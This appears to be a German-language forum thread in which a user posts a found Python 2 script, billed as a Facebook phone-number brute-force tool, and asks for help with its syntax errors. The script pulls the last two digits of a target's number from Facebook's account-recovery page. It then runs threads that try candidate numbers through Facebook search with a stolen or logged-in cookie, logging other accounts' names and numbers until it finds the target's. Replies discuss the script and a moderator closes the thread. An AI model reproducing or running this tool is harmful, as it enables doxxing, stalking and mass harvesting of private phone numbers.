[Phyton] Facebook Phone Number Brute Force

05/09/2016 17:20 _--_Sh1t_--_#1
Hallo,

wer kann helfen das Script zum laufen zu bringen ?

Man braucht nur den Facebook Namen (Usernamen)!

Der Nutzer muss eine Handy Nummer hinterlegt haben!

Code:
Facebook - Account's Phone Number Brute-Force

Affected ver    facebook.com
&
m.facebook.com
Tested on    facebook.com & m.facebook.com

Description:
Brute Forces Any Facebook Account's Phone Number if it Got a Linked Phone # in it.
+ Saves All Acounts with their Phone Number Until it Reaches Targets Phone Number
its a 2 in 1 Tool
Usage info:
You Should Only Know The Country Code of The Target and You Should Own a Facebook Account
1.Country Code=> US (+1) , Greece (+30) ... etc
2.Facebook Account
The Tool Runs Threads For Speed Purposes


Secret Code:

import urllib2
import re
import threading
import sys

 
manual_cookie = raw_input("Get Cookie From https://m.facebook.com/login/identify?ctx=recover After Submitting Your Target: ");
user = raw_input("Username: ")
a = urllib2.build_opener()
a.addheaders.append(('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0'))
a.addheaders.append(('Cookie',manual_cookie))
cop = a.open("http://m.facebook.com/login/identify?ctx=recover","ctx=recover&email="+user).read()
lasttwonumbers = re.findall('<ul style="margin:0px"><li>(.*?)</li></ul>',cop)
print "Last 2 #s of Target's Phone: "+lasttwonumbers[0][-2:]

cc = raw_input("Country Code: ")
nb_bt = raw_input("#s Between Country Code & Last 2 #s: ")

file_save = open('out.txt','a')
opener = urllib2.build_opener()
url = 'http://www.facebook.com/search/more?q=%2B'
zeroz = 0
manual_cookie = raw_input("Logged in Full Facebook Cookie: ")
print "[+] Threads are Set To Default To 5\n[+] Bruting Started"


def brute(manual_cookie,number):
   page = url + number
   opener.addheaders.append(('Cookie', manual_cookie))
   get = opener.open(page)
   html = get.read()
   acc = re.findall('<div class="_zs fwb" data-bt="&#123;"ct":"title"&#125;"><a .*>(.*)<span class="_138">.*</span></a><span class="_5dgp">.*</span></div>', html)
   accc = re.findall('<div class="_zs fwb" data-bt="&#123;"ct":"title"&#125;"><a .*>(.*)</a><span class="_5dgp">.*</span></div>', html)
   if acc:
      if re.findall(user, html):
         print "\nTarget's Mobile #:\n[+] " + acc[0] + " => +" + str(number) + "\n"
         file_save.write("\nTarget's Mobile #:\n[+] " + acc[0] + " => +" + str(number) + "\n\n\n")         
         print "Good Luck"
         sys.exit()
      else:
         print "[+] " + acc[0] + " => +" + str(number)
         file_save.write("[+] " + acc[0] + " => +" + str(number) + "\n")
   elif accc:
      if re.findall(user, html):
         print "\nTarget's Mobile #:\n[+] " + accc[0] + " => +" + str(number) + "\n"
         file_save.write("\nTarget's Mobile #:\n[+] " + accc[0] + " => +" + str(number) + "\n\n\n")         
         print "Good Luck"
         sys.exit()
      else:
         print "[+] " + accc[0] + " => +" + str(number)
         file_save.write("[+] " + accc[0] + " => +" + str(number) + "\n")

   else:
      print "[-] => +" + str(number)
      
   
while int(len(str(zeroz))) < int(nb_bt)+1:
   number = str(cc)+str('%0*d' % (int(nb_bt), zeroz))+str(lasttwonumbers[0][-2:])
   t=threading.Thread(target=brute,args=(manual_cookie,number,))
   number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+1))+str(lasttwonumbers[0][-2:])
   to=threading.Thread(target=brute,args=(manual_cookie,number,))
   number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+2))+str(lasttwonumbers[0][-2:])
   tt=threading.Thread(target=brute,args=(manual_cookie,number,))
   number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+3))+str(lasttwonumbers[0][-2:])
   tth=threading.Thread(target=brute,args=(manual_cookie,number,))
   number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+4))+str(lasttwonumbers[0][-2:])
   tf=threading.Thread(target=brute,args=(manual_cookie,number,))
   t.start()
   to.start()
   tt.start()
   tth.start()
   tf.start()
   t.join()
   to.join()
   tt.join()
   tth.join()
   tf.join()
   zeroz += 5
   while 1:
      break


file_save.close()
05/09/2016 19:01 alpines#2
Warum schaust du dir keine Standardnummern für das jeweilige Land an und schaust welche Zahlen wechseln dürfen und die wechselst du dann dementsprechend.
05/09/2016 21:28 _--_Sh1t_--_#3
@[Only registered and activated users can see links. Click Here To Register...] geht bei dir das Script ?
05/09/2016 22:01 alpines#4
Quote:
Originally Posted by _--_Sh1t_--_ View Post
@[Only registered and activated users can see links. Click Here To Register...] geht bei dir das Script ?
Ich habe kein Python installiert und ich dachte das dein Problem darinbesteht valide Nummern zu generieren.
05/09/2016 22:20 _--_Sh1t_--_#5
Quote:
Originally Posted by alpines View Post
Ich habe kein Python installiert und ich dachte das dein Problem darinbesteht valide Nummern zu generieren.
Na das macht das Script von alleine (Die Phone NUmber raus zu bekommen) ;)


Mir gehts darum das viele Syntax Fehler vorhanden sind....
05/11/2016 12:17 Synoooo#6
Quote:
Originally Posted by _--_Sh1t_--_ View Post
Na das macht das Script von alleine (Die Phone NUmber raus zu bekommen) ;)


Mir gehts darum das viele Syntax Fehler vorhanden sind....
hä? is doch deiner oder nicht?
05/11/2016 22:26 _--_Sh1t_--_#7
Quote:
Originally Posted by Synoooo View Post
hä? is doch deiner oder nicht?

neee gefunden!!!

nur wusste jetzt nicht welche Section ich es posten sollte.
03/25/2017 18:21 TRVR.#8
was macht das script nun genau?
03/26/2017 14:22 Devsome#9
Quote:
Originally Posted by TRVR. View Post
was macht das script nun genau?
Quote:
Description:
Brute Forces Any Facebook Account's Phone Number if it Got a Linked Phone # in it.
+ Saves All Acounts with their Phone Number Until it Reaches Targets Phone Number
its a 2 in 1 Tool
Steht doch da oben.
Dennoch mache ich hier mal zu.

#closed